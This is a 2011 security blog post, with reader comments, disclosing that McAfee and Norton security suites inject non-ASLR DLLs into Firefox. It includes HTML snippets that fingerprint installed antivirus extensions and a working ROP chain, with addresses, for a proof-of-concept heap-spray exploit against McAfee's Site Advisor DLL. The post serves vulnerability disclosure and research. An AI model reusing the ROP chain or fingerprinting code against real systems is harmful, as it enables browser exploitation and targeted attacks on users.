[Also found this lingering on my hard drive from earlier this year, the recent exploits using Java to do the same thing reminded me of this. But I think it's still valid, so here you go. Useful if the target doesn't have Java I guess.]
Vanilla Firefox doesn't seem to be missing ASLR/DEP protection; the process will have DEP enabled and neither firefox.exe nor the DLL's seem to be missing ASLR. Headache for an exploit writer. However, many typical users and organizations will install a security suite from typical antivirus vendors like McAfee and Symantec.
Inspired by an old post from Brian Krebs (http://krebsonsecurity.com/2010/08/anti-virus-products-mostly-ignore-windows-security-features/) I decided to take a look and see if the same issues were found in DLL's injected into browsers. So I obtained an evaluation copy of McAfee's premier product, their "Ultimate" "Total Protection" to test out (http://home.mcafee.com/store/free-antivirus-trials), and installed it on a Vista VM. You can see the results here:
Spectacular fail. McAfee injected no fewer than seven DLL's into Firefox, and no fewer than seven fail to enable ASLR. The attacker is provided megabytes of surface to launch an exploit off of.
It is easy for an attacker to detect if the McAfee extension has been loaded into the browser by referencing a resource in the extension. For example, the following short html file will alert the status of the extension (McAfee Site Advisor):
<html><body>
<img src="sacore:green.gif" onerror="alert('McAfee Site Advisor not Installed.')" onload="alert('McAfee Site Advisor Installed!')"></img>
</body></html>
Example below:
On your system: javascript not enabled?
In summary, McAfee's security suite opens a hole through the best defenses of Microsoft and Mozilla against exploitation; and this has been publicly reported in some way or another for most of a year. Yet McAfee has not fixed it. Perhaps because they, like I, am unaware of any public exploits taking advantage of it. So I modified an existing Firefox exploit to function on later versions of Windows with a standard ROP string to take advantage of this weakness.
The exploit has a modified heap spray targeting the McAfee Site Advisor dll; McSACorePS.dll (version 3.3.0.109 dated November 24, 2010). It is unreliable, but hey, it's a proof of concept of what you can do after you get eip, not how to get it. And when it does get eip, it works great. The first address sprayed will be 3B693f68, which will be loaded into eax before the instruction "call dword ptr [eax+174h]" which will jump to the address stored at 0x3B6940DC. At this address, the heapspray will have stored 0x6940247B, and the code at 0x6940247B executes a stack pivot: MOV ESP,3B6940E0; RETN
which will direct the stack pointer to the heap, landing at the beginning of a series of return addresses that will allocate RWX memory, and copy and execute arbitrary shellcode:
//first, allocate RWX memory 6940150C ; pop esi; pop ebp; ret (will be at 3B6940E0) 694090D4 ; address of va import 3b693300 ; writable address with something smaller than 694090D8 in it 69401CCD ; mov eax, [esi]; ... call eax; add esi,4; cmp esi, [ebp+arg_0]; jb 69401CCD; pop esi; pop ebp; ret 00000000 ; lpAddress 00001000 ; dwSize 00001000 ; flAllocationType = MEM_COMMIT 00000040 ; flProtect = PAGE_EXECUTE_READWRITE 3b693400 ; esi 3b69411c ; ebp; address of args1 down below // Then save the address of allocated memory 69401506 ; mov [ebp+8], eax; mov eax, [ebp+8]; pop esi; pop ebp; ret 3b693400 ; esi 3b69411c ; ebp; address of args1 down below // Now copy shellcode and execute 69406A8F ; memcpy(dst ebp+8, src ebp+0x0c, bytes ebp+0x10) will restore eax; ends with mov esp, ebp; pop ebp; ret dontcare // args1, at 3b69411c. 69401867 // jmp eax my_alloc // at args1+8; will be filled with address of new allocation 3b694130 // address of shellcode below length(sc)// 32 bit length of shellcode //shellcode at 3b694130
Well that was fun! How about Symantec's premier product for security-minded home customers? If advertising budget is any indicator of the level of effort put into a product, the "Comprehensive, easy-to-use" Norton 360 should be way ahead of the curve. So I downloaded and installed a trial version. Advertisements claim it's got extra online safety baked in especially for your kids! Let's see how that works out for you.
Wow. McAfee's product set the standard for fail, and Symantec just doubled it. It injected thirteen DLL's into Firefox, and once again, they all fail to enable ASLR. The attacker even more surface to launch an exploit off of.
And detection? Just as easy with resources from the extension:
<html><body>
<img src="symres:sb_nortoncertified.png" onerror="alert('Norton not Installed.')" onload="alert('Norton Installed!')"></img>
</body></html>
On your system: javascript not enabled?
Symantec's security suite also opens a hole through the best defenses of Microsoft and Mozilla against exploitation; and this has been publicly reported in some way or another for most of a year. Yet Symantec has not fixed it in their product either.
Update: After a lot of hard work with compatibility tests, Mozilla is going to fix this problem in a lot of cases. See http://blog.kylehuey.com/post/18120485831/address-space-layout-randomization-now-mandatory-for for more details.
#1 by wopot on July 5, 2011 - 5:38 pm
do you tested other av´s
#2 by scriptjunkie on July 5, 2011 - 8:30 pm
I did not. I just thought those were the most popular.
#3 by jon w on July 12, 2011 - 3:07 am
Without an active surface area for sploits to attack, how could they be in business? Gotta preserve that meal ticket!
(Also: blue screens from file system filter drivers are common av side effects)
#4 by goodman on August 13, 2011 - 6:05 am
how do you get the av resources from the extension.can you tell me the method,please send it to me,thank you.
#5 by scriptjunkie on August 14, 2011 - 1:47 am
I simply picked an image that the AV’s added to Google search results. No fancy reverse engineering, although of course that can be done too.